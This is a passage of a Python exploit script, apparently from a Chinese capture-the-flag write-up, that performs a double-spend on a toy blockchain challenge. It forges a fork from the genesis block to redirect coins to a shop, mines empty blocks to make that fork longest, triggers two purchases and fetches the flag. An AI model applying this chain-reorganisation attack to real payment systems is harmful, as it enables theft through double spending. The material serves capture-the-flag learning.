data = json.dumps(b)
r = ss.post(url = url_prefix+"/create_transaction",data = data, headers = {"content-type":"application/json"},proxies = proxies)
print r.content
# 从创世块开始就不承认,构造更长的链,不承认黑客已经转走钱,直接转给商店
# 从银行直接转币到商店
print("从银行直接转币到商店")
block1 = {}
block1["prev"] = genesis_block
tx = {"input":[hacker_input],"output":[{"amount":1000000, 'id':txout_id,'addr':shop_address}],'signature':[hacker_signature]}
tx["output"][0]["hash"] = btc.hash_utxo(tx["output"][0])
tx['hash'] = btc.hash_tx(tx)
block1["transactions"] = [tx]
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
send_to_server(block1)
# 构造空块增加分叉链长度,使分叉链最长
# 空区块
print("空区块")
block2 = empty_block("myempty1", block1["hash"])
myprint(block2)
send_to_server(block2)
# 创建空区块,触发下面的转走币
print("创建空区块,触发下面的转走币")
block3 = empty_block("myempty2", block2["hash"])
myprint(block3)
send_to_server(block3)
# 商店自动转走币
# 钻石+1
# 不承认被转走了钱,即系统转走钱之前的那个块再次分叉,添加空块
# 创建空区块,
print("空区块")
block4 = empty_block("myempty3", block3["hash"])
myprint(block4)
send_to_server(block4)
# 创建空区块,触发分叉2商店转走币
print("创建空区块,触发分叉2商店转走币")
block5 = empty_block("myempty4", block4["hash"])
myprint(block5)
send_to_server(block5)
# 分叉2商店转走币
# 钻石+1
r = ss.get(url_prefix + "/flag",proxies=proxies)
print r.content
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com